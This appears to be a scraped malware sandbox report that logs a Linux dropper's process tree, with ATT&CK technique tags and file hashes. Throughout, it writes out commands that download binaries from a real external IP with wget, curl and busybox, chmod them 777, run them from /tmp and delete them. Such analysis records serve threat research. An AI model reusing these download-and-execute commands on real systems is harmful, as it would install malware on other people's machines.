/bin/busybox/bin/busybox wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- System Network Configuration Discovery
PID:930
-
-
/bin/chmodchmod 777 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- File and Directory Permissions Modification
PID:931
-
-
/tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ./ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:932
-
-
/bin/rmrm ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ2⤵
- System Network Configuration Discovery
PID:933
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵PID:934
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:935
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵PID:936
-
-
/bin/chmodchmod 777 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵
- File and Directory Permissions Modification
PID:937
-
-
/tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd./KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵
- Executes dropped EXE
PID:938
-
-
/bin/rmrm KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd2⤵PID:939
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵PID:940
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵
- Reads runtime system information
- Writes file to tmp directory
PID:941
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵PID:942
-
-
/bin/chmodchmod 777 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵
- File and Directory Permissions Modification
PID:943
-
-
/tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13./PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵
- Executes dropped EXE
PID:944
-
-
/bin/rmrm PdEZ8264siDtS3uUhD7KAvI2T1jba3WR132⤵PID:945
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵PID:946
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:947
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵PID:948
-
-
/bin/chmodchmod 777 OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵
- File and Directory Permissions Modification
PID:949
-
-
/tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN./OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵
- Executes dropped EXE
PID:950
-
-
/bin/rmrm OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN2⤵PID:951
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵PID:952
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:953
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵PID:954
-
-
/bin/chmodchmod 777 FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵
- File and Directory Permissions Modification
PID:955
-
-
/tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk./FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵
- Executes dropped EXE
PID:956
-
-
/bin/rmrm FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk2⤵PID:957
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵PID:958
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:959
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵PID:960
-
-
/bin/chmodchmod 777 ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵
- File and Directory Permissions Modification
PID:961
-
-
/tmp/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw./ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵
- Executes dropped EXE
PID:962
-
-
/bin/rmrm ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw2⤵PID:963
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵PID:964
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:965
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵PID:966
-
-
/bin/chmodchmod 777 Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵
- File and Directory Permissions Modification
PID:967
-
-
/tmp/Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V./Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵
- Executes dropped EXE
PID:968
-
-
/bin/rmrm Dt1pmfxXNsHmfcoqpKErn8y8wwmTw86M0V2⤵PID:969
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵PID:970
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:971
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵PID:972
-
-
/bin/chmodchmod 777 T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵
- File and Directory Permissions Modification
PID:973
-
-
/tmp/T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB6./T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵
- Executes dropped EXE
PID:974
-
-
/bin/rmrm T9gyamwGsDrzUKMNsko2j9OzUEFVyCXaB62⤵PID:975
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97